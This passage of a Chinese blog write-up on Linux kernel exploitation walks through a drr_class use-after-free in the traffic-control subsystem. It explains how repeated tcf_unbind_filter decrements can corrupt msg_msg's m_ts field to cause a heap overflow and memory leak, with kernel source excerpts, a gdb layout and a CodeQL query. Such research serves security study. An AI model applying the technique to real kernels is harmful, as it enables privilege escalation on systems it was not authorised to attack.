<span class="n">bool</span> <span class="n">first</span><span class="p">;</span>
<span class="n">cl</span> <span class="o">=</span> <span class="n">drr_classify</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">sch</span><span class="p">,</span> <span class="o">&</span><span class="n">err</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cl</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">&</span> <span class="n">__NET_XMIT_BYPASS</span><span class="p">)</span>
<span class="n">qdisc_qstats_drop</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="n">__qdisc_drop</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">to_free</span><span class="p">);</span>
<span class="k">return</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">first</span> <span class="o">=</span> <span class="o">!</span><span class="n">cl</span><span class="o">-></span><span class="n">qdisc</span><span class="o">-></span><span class="n">q</span><span class="p">.</span><span class="n">qlen</span><span class="p">;</span>
<span class="n">err</span> <span class="o">=</span> <span class="n">qdisc_enqueue</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">cl</span><span class="o">-></span><span class="n">qdisc</span><span class="p">,</span> <span class="n">to_free</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="n">NET_XMIT_SUCCESS</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">net_xmit_drop_count</span><span class="p">(</span><span class="n">err</span><span class="p">))</span> <span class="p">{</span>
<span class="n">cl</span><span class="o">-></span><span class="n">qstats</span><span class="p">.</span><span class="n">drops</span><span class="o">++</span><span class="p">;</span>
<span class="n">qdisc_qstats_drop</span><span class="p">(</span><span class="n">sch</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">int</span> <span class="nf">qdisc_enqueue</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span> <span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">**</span><span class="n">to_free</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">qdisc_calculate_pkt_len</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">sch</span><span class="p">);</span>
<span class="k">return</span> <span class="n">sch</span><span class="o">-></span><span class="n">enqueue</span><span class="p">(</span><span class="n">skb</span><span class="p">,</span> <span class="n">sch</span><span class="p">,</span> <span class="n">to_free</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>大多数的kernelCTF和TC相关的writeup都没有提及<code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code>相关的原语,在free掉drr_class对象后,在<code class="language-plaintext highlighter-rouge">sch_drr.c</code>中基本上找不到直接相关的原语了,还是得和res挂上钩,转到<code class="language-plaintext highlighter-rouge">cls_tcindex.c</code>中仅有的只是<code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code> 操作了(有好几条路径可达如delete等):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">__tcf_unbind_filter</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">q</span><span class="p">,</span> <span class="k">struct</span> <span class="n">tcf_result</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cl</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">cl</span> <span class="o">=</span> <span class="n">__cls_set_class</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">class</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">q</span><span class="o">-></span><span class="n">ops</span><span class="o">-></span><span class="n">cl_ops</span><span class="o">-></span><span class="n">unbind_tcf</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">cl</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">tcf_unbind_filter</span><span class="p">(</span><span class="k">struct</span> <span class="n">tcf_proto</span> <span class="o">*</span><span class="n">tp</span><span class="p">,</span> <span class="k">struct</span> <span class="n">tcf_result</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">q</span> <span class="o">=</span> <span class="n">tp</span><span class="o">-></span><span class="n">chain</span><span class="o">-></span><span class="n">block</span><span class="o">-></span><span class="n">q</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">q</span><span class="p">)</span>
<span class="k">return</span><span class="p">;</span>
<span class="n">__tcf_unbind_filter</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">drr_unbind_tcf</span><span class="p">(</span><span class="k">struct</span> <span class="n">Qdisc</span> <span class="o">*</span><span class="n">sch</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="n">cl</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">drr_class</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span>
<span class="n">cl</span><span class="o">-></span><span class="n">filter_cnt</span><span class="o">--</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>在<code class="language-plaintext highlighter-rouge">tcindex_delete</code> -> <code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code> -> <code class="language-plaintext highlighter-rouge">drr_unbind_tcf</code>流转后,偏移24处的filter_cnt会减去1:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ ptype /o struct drr_class
/* offset | size */ type = struct drr_class {
/* 0 | 24 */ struct Qdisc_class_common {
/* 0 | 4 */ u32 classid;
/* XXX 4-byte hole */
/* 8 | 16 */ struct hlist_node {
/* 8 | 8 */ struct hlist_node *next;
/* 16 | 8 */ struct hlist_node **pprev;
/* total size (bytes): 16 */
} hnode;
/* total size (bytes): 24 */
} common;
/* 24: 0 | 4 */ unsigned int filter_cnt : 16;
/* XXX 6-byte hole */
/* 32 | 16 */ struct gnet_stats_basic_sync {
/* 32 | 8 */ u64_stats_t bytes;
/* 40 | 8 */ u64_stats_t packets;
/* 48 | 0 */ struct u64_stats_sync {
<no data fields>
/* total size (bytes): 0 */
} syncp;
/* total size (bytes): 16 */
} bstats;
/* 48 | 20 */ struct gnet_stats_queue {
/* 48 | 4 */ __u32 qlen;
/* 52 | 4 */ __u32 backlog;
/* 56 | 4 */ __u32 drops;
/* 60 | 4 */ __u32 requeues;
/* 64 | 4 */ __u32 overlimits;
/* total size (bytes): 20 */
} qstats;
/* XXX 4-byte hole */
/* 72 | 8 */ struct net_rate_estimator *rate_est;
/* 80 | 16 */ struct list_head {
/* 80 | 8 */ struct list_head *next;
/* 88 | 8 */ struct list_head *prev;
/* total size (bytes): 16 */
} alist;
/* 96 | 8 */ struct Qdisc *qdisc;
/* 104 | 4 */ u32 quantum;
/* 108 | 4 */ u32 deficit;
/* total size (bytes): 112 */
}
</code></pre></div></div>
<p>因为最后时刻可以多次绑定同一个class至不同的<code class="language-plaintext highlighter-rouge">res</code>,所以在重新占位后可多次进行unbind减一操作,修改object中的关键字段,如在<a href="https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html#exploitation">cve-2021-22555</a>考虑到的Reference counter和Pointer in a struct,但是<a href="https://bsauce.github.io/2021/09/26/kernel-exploit-%E6%9C%89%E7%94%A8%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93/">常见结构体</a>中符合kmalloc-128的subprocess_info已<a href="https://www.willsroot.io/2021/10/pbctf-2021-nightclub-writeup-more-fun.html">不再可用</a>,需要考虑其他<a href="https://zplin.me/papers/ELOISE.pdf">弹性结构体</a>。又或者是修改诸如size的字段至负数,可能会造成信息泄漏,这里使用CodeQL借鉴<a href="https://veritas501.github.io/2022_08_11_%E5%9F%BA%E4%BA%8EUSMA%E7%9A%84%E5%86%85%E6%A0%B8%E9%80%9A%E7%94%A8EXP%E7%BC%96%E5%86%99%E6%80%9D%E8%B7%AF%E5%9C%A8%20CVE-2022-34918%20%E4%B8%8A%E7%9A%84%E5%AE%9E%E8%B7%B5/">@veritas501</a>和<a href="https://research.nccgroup.com/2023/05/23/offensivecon-2023-exploit-engineering-attacking-the-linux-kernel/">@nccgroup</a>的编写思路,查看在偏移24处有用的字段和结构体:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/**
* This is an automatically generated file
* @name Hello world
* @kind problem
* @problem.severity warning
* @id cpp/example/hello-world
*/
import cpp
from FunctionCall fc, Function f, Type typ, Field field
where
f = fc.getTarget() and
f.getName().regexpMatch("k[a-z]*alloc") and
typ = fc.getActualType().(PointerType).getBaseType() and
field.getDeclaringType() = typ and
field.getByteOffset() = 24 and
not fc.getEnclosingFunction().getFile().getRelativePath().regexpMatch("arch.*") and
not fc.getEnclosingFunction().getFile().getRelativePath().regexpMatch("drivers.*")
select fc, "In $@, $@ called once $@ with struct $@ filed $@ at offset 24",
fc,fc.getEnclosingFunction().getFile().getRelativePath(), fc.getEnclosingFunction(),
fc.getEnclosingFunction().getName().toString(), fc, f.getName(), typ,
typ.getName(), field, field.getName()
</code></pre></div></div>
<p>可发现我们在利用中比较常见的<a href="https://www.starlabs.sg/blog/2022/06-io_uring-new-code-new-bugs-and-a-new-exploit-technique/#searching-for-kernel-structs">simple_xattr</a>和<a href="https://syst3mfailure.io/wall-of-perdition/">msg_msg</a>:</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx4.sinaimg.cn/large/ee2fecafly1hme18sa148j219o0aktdl.jpg" alt="" /></p>
<p><img src="https://image.baidu.com/search/down?url=https://wx1.sinaimg.cn/large/ee2fecafly1hme18w73exj219708zgpj.jpg" alt="" /></p>
<h2>msg_msg overflow</h2>
<p>顺着修改size字段去信息泄漏的思路,如果是对于simple_xattr,原size大小在memcpy之前就会和目的buffer size做比较,如果减至负数则肯定直接返回错误,而且getxattr系统调用对于buffer size的大小也有<a href="https://elixir.bootlin.com/linux/v6.1.72/source/fs/xattr.c#L693">XATTR_SIZE_MAX</a>的限制:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
* xattr GET operation for in-memory/pseudo filesystems
*/</span>
<span class="kt">int</span> <span class="nf">simple_xattr_get</span><span class="p">(</span><span class="k">struct</span> <span class="n">simple_xattrs</span> <span class="o">*</span><span class="n">xattrs</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">buffer</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">simple_xattr</span> <span class="o">*</span><span class="n">xattr</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="n">ENODATA</span><span class="p">;</span>
<span class="n">spin_lock</span><span class="p">(</span><span class="o">&</span><span class="n">xattrs</span><span class="o">-></span><span class="n">lock</span><span class="p">);</span>
<span class="n">list_for_each_entry</span><span class="p">(</span><span class="n">xattr</span><span class="p">,</span> <span class="o">&</span><span class="n">xattrs</span><span class="o">-></span><span class="n">head</span><span class="p">,</span> <span class="n">list</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">xattr</span><span class="o">-></span><span class="n">name</span><span class="p">))</span>
<span class="k">continue</span><span class="p">;</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">xattr</span><span class="o">-></span><span class="n">size</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o"><</span> <span class="n">xattr</span><span class="o">-></span><span class="n">size</span><span class="p">)</span>
<span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="n">ERANGE</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">xattr</span><span class="o">-></span><span class="n">value</span><span class="p">,</span> <span class="n">xattr</span><span class="o">-></span><span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">spin_unlock</span><span class="p">(</span><span class="o">&</span><span class="n">xattrs</span><span class="o">-></span><span class="n">lock</span><span class="p">);</span>
<span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>对于我们熟悉的msg_msg,同样存在相同的检查逻辑,毕竟是为了防止一切可能的溢出:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="nf">copy_msg</span><span class="p">(</span><span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">dst</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">msg_msgseg</span> <span class="o">*</span><span class="n">dst_pseg</span><span class="p">,</span> <span class="o">*</span><span class="n">src_pseg</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="n">src</span><span class="o">-></span><span class="n">m_ts</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">alen</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">src</span><span class="o">-></span><span class="n">m_ts</span> <span class="o">></span> <span class="n">dst</span><span class="o">-></span><span class="n">m_ts</span><span class="p">)</span>
<span class="k">return</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EINVAL</span><span class="p">);</span>
<span class="n">alen</span> <span class="o">=</span> <span class="n">min</span><span class="p">(</span><span class="n">len</span><span class="p">,</span> <span class="n">DATALEN_MSG</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">dst</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">src</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">alen</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">dst_pseg</span> <span class="o">=</span> <span class="n">dst</span><span class="o">-></span><span class="n">next</span><span class="p">,</span> <span class="n">src_pseg</span> <span class="o">=</span> <span class="n">src</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="n">src_pseg</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">dst_pseg</span> <span class="o">=</span> <span class="n">dst_pseg</span><span class="o">-></span><span class="n">next</span><span class="p">,</span> <span class="n">src_pseg</span> <span class="o">=</span> <span class="n">src_pseg</span><span class="o">-></span><span class="n">next</span><span class="p">)</span> <span class="p">{</span>
<span class="n">len</span> <span class="o">-=</span> <span class="n">alen</span><span class="p">;</span>
<span class="n">alen</span> <span class="o">=</span> <span class="n">min</span><span class="p">(</span><span class="n">len</span><span class="p">,</span> <span class="n">DATALEN_SEG</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">dst_pseg</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">src_pseg</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">alen</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">dst</span><span class="o">-></span><span class="n">m_type</span> <span class="o">=</span> <span class="n">src</span><span class="o">-></span><span class="n">m_type</span><span class="p">;</span>
<span class="n">dst</span><span class="o">-></span><span class="n">m_ts</span> <span class="o">=</span> <span class="n">src</span><span class="o">-></span><span class="n">m_ts</span><span class="p">;</span>
<span class="k">return</span> <span class="n">dst</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>如果说不走<code class="language-plaintext highlighter-rouge">MSG_COPY</code>路径,带上<code class="language-plaintext highlighter-rouge">MSG_NOERROR</code>的flag,最终进入store_msg函数,过长的<a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msg.c#L1034">msgsz</a>在<a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msgutil.c#L156">copy_to_user</a>时也会因为<a href="https://duasynt.com/blog/linux-kernel-heap-feng-shui-2022">CONFIG_HARDENED_USERCOPY</a>而失败。再次回到<a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msgutil.c#L124">copy_msg</a>的代码片段,虽然对于<code class="language-plaintext highlighter-rouge">src->m_ts</code>的检查使用有TOCTOU的味道,但是这期间的时间窗口实在是太短了无法利用。</p>
<p>那怎么样才能过<code class="language-plaintext highlighter-rouge">if (src->m_ts > dst->m_ts)</code>的检查呢,洗个澡就想出来了XD。我们可以去修改递减<code class="language-plaintext highlighter-rouge">dst->m_ts</code>为负数,如果本来<code class="language-plaintext highlighter-rouge">src->m_ts</code>就大于<code class="language-plaintext highlighter-rouge">dst->m_ts</code>,那么过掉检查和<a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msgutil.c#L128">memcpy</a>之后,较大的src msg_msg内容复制到较小的dst msg_msg内容,即可overflow至dst msg_msg后面的object对象!如果该object依旧是个msg_msg,那么溢出修改其m_ts字段,即可顺利达到我们想要根据size进行<a href="https://syst3mfailure.io/wall-of-perdition/">leak</a>的需求。</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx3.sinaimg.cn/large/ee2fecafly1hme18zhgf0j20g10c1myb.jpg" alt="" /></p>
<p>别高兴得太早,这个dst的msg_msg是从哪里来的呢,让我们聚焦到<a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msg.c#L1098">do_msgrcv</a>函数,其首先根据MSG_COPY调用prepare_copy函数生成一个新的msg_msg,注意在其load_msg成功后会立即设置<code class="language-plaintext highlighter-rouge">copy->m_ts</code>为合适的接收的bufsz:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
* This function creates new kernel message structure, large enough to store
* bufsz message bytes.
*/</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="nf">prepare_copy</span><span class="p">(</span><span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">bufsz</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">copy</span><span class="p">;</span>
<span class="cm">/*
* Create dummy message to copy real message to.
*/</span>
<span class="n">copy</span> <span class="o">=</span> <span class="n">load_msg</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">bufsz</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">copy</span><span class="p">))</span>
<span class="n">copy</span><span class="o">-></span><span class="n">m_ts</span> <span class="o">=</span> <span class="n">bufsz</span><span class="p">;</span>
<span class="k">return</span> <span class="n">copy</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>然后在find_msg找到要rcv的msg_msg后即会立即调用copy_msg函数,src为find到的msg_msg,dst为新生成的msg_msg,因为要通过<code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code>操作递减<code class="language-plaintext highlighter-rouge">dst->m_ts</code>,所以这里仍然存在一个从prepare_copy设置m_ts到copy_msg判断的时间窗口:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">long</span> <span class="nf">do_msgrcv</span><span class="p">(</span><span class="kt">int</span> <span class="n">msqid</span><span class="p">,</span> <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">bufsz</span><span class="p">,</span> <span class="kt">long</span> <span class="n">msgtyp</span><span class="p">,</span> <span class="kt">int</span> <span class="n">msgflg</span><span class="p">,</span>
<span class="kt">long</span> <span class="p">(</span><span class="o">*</span><span class="n">msg_handler</span><span class="p">)(</span><span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="p">,</span> <span class="kt">size_t</span><span class="p">))</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">mode</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msg_queue</span> <span class="o">*</span><span class="n">msq</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">ipc_namespace</span> <span class="o">*</span><span class="n">ns</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="o">*</span><span class="n">copy</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">DEFINE_WAKE_Q</span><span class="p">(</span><span class="n">wake_q</span><span class="p">);</span>
<span class="n">ns</span> <span class="o">=</span> <span class="n">current</span><span class="o">-></span><span class="n">nsproxy</span><span class="o">-></span><span class="n">ipc_ns</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msqid</span> <span class="o"><</span> <span class="mi">0</span> <span class="o">||</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span> <span class="n">bufsz</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_COPY</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_EXCEPT</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">IPC_NOWAIT</span><span class="p">))</span> <span class="c1">// [3]</span>
<span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
<span class="n">copy</span> <span class="o">=</span> <span class="n">prepare_copy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">min_t</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">bufsz</span><span class="p">,</span> <span class="n">ns</span><span class="o">-></span><span class="n">msg_ctlmax</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">copy</span><span class="p">))</span>
<span class="k">return</span> <span class="n">PTR_ERR</span><span class="p">(</span><span class="n">copy</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">mode</span> <span class="o">=</span> <span class="n">convert_mode</span><span class="p">(</span><span class="o">&</span><span class="n">msgtyp</span><span class="p">,</span> <span class="n">msgflg</span><span class="p">);</span>
<span class="n">rcu_read_lock</span><span class="p">();</span>
<span class="n">msq</span> <span class="o">=</span> <span class="n">msq_obtain_object_check</span><span class="p">(</span><span class="n">ns</span><span class="p">,</span> <span class="n">msqid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">msq</span><span class="p">))</span> <span class="p">{</span>
<span class="n">rcu_read_unlock</span><span class="p">();</span>
<span class="n">free_copy</span><span class="p">(</span><span class="n">copy</span><span class="p">);</span>
<span class="k">return</span> <span class="n">PTR_ERR</span><span class="p">(</span><span class="n">msq</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(;;)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">msg_receiver</span> <span class="n">msr_d</span><span class="p">;</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EACCES</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ipcperms</span><span class="p">(</span><span class="n">ns</span><span class="p">,</span> <span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">,</span> <span class="n">S_IRUGO</span><span class="p">))</span>
<span class="k">goto</span> <span class="n">out_unlock1</span><span class="p">;</span>
<span class="n">ipc_lock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span> <span class="c1">// [4]</span>
<span class="cm">/* raced with RMID? */</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ipc_valid_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">))</span> <span class="p">{</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EIDRM</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">find_msg</span><span class="p">(</span><span class="n">msq</span><span class="p">,</span> <span class="o">&</span><span class="n">msgtyp</span><span class="p">,</span> <span class="n">mode</span><span class="p">);</span> <span class="c1">// [5]</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">msg</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/*
* Found a suitable message.
* Unlink it from the queue.
*/</span>
<span class="k">if</span> <span class="p">((</span><span class="n">bufsz</span> <span class="o"><</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_ts</span><span class="p">)</span> <span class="o">&&</span> <span class="o">!</span><span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_NOERROR</span><span class="p">))</span> <span class="p">{</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">E2BIG</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_COPY</span><span class="p">)</span> <span class="p">{</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">copy_msg</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">copy</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">list_del</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="o">-></span><span class="n">m_list</span><span class="p">);</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_qnum</span><span class="o">--</span><span class="p">;</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_rtime</span> <span class="o">=</span> <span class="n">ktime_get_real_seconds</span><span class="p">();</span>
<span class="n">ipc_update_pid</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_lrpid</span><span class="p">,</span> <span class="n">task_tgid</span><span class="p">(</span><span class="n">current</span><span class="p">));</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_cbytes</span> <span class="o">-=</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_ts</span><span class="p">;</span>
<span class="n">percpu_counter_sub_local</span><span class="p">(</span><span class="o">&</span><span class="n">ns</span><span class="o">-></span><span class="n">percpu_msg_bytes</span><span class="p">,</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_ts</span><span class="p">);</span>
<span class="n">percpu_counter_sub_local</span><span class="p">(</span><span class="o">&</span><span class="n">ns</span><span class="o">-></span><span class="n">percpu_msg_hdrs</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">ss_wakeup</span><span class="p">(</span><span class="n">msq</span><span class="p">,</span> <span class="o">&</span><span class="n">wake_q</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* No message waiting. Wait for a message */</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">IPC_NOWAIT</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [1]</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">ENOMSG</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
